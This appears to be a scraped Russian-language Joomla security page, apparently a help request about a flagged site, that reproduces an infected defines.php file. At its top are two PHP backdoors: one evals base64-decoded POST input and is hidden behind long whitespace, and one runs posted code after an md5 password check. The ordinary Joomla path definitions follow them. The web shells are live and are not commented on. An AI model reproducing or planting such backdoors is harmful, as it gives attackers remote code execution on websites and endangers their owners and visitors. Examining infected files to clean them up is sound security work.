Сайт может угрожать безопасности компьютера - Безопасность сайтов на Joomla

<?php                                                                                                                                                                                                                                                               eval(base64_decode($_POST['nf655fc']));?>utopld3 <?php
if(@md5($_POST["gif"]) === "320648220d6bd8b8e51ec3b6d6dd8898") {
eval (base64_decode($_POST["php"]));
exit;
}
?>

<?php /** * @version $Id: defines.php 14401 2010-01-26 14:10:00Z louis $ * @package Joomla * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php * Joomla! is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See COPYRIGHT.php for copyright notices and details. */ // no direct access defined( '_JEXEC' ) or die( 'Restricted access' ); /** * Joomla! Application define */ //Global definitions //Joomla framework path definitions $parts = explode( DS, JPATH_BASE ); //Defines define( 'JPATH_ROOT', implode( DS, $parts ) ); define( 'JPATH_SITE', JPATH_ROOT ); define( 'JPATH_CONFIGURATION', JPATH_ROOT ); define( 'JPATH_ADMINISTRATOR', JPATH_ROOT.DS.'administrator' ); define( 'JPATH_XMLRPC', JPATH_ROOT.DS.'xmlrpc' ); define( 'JPATH_LIBRARIES', JPATH_ROOT.DS.'libraries' ); define( 'JPATH_PLUGINS', JPATH_ROOT.DS.'plugins' ); define( 'JPATH_INSTALLATION', JPATH_ROOT.DS.'installation' ); define( 'JPATH_THEMES' , JPATH_BASE.DS.'templates' ); define( 'JPATH_CACHE', JPATH_BASE.DS.'cache');No configuration file found and no installation code available. Exiting...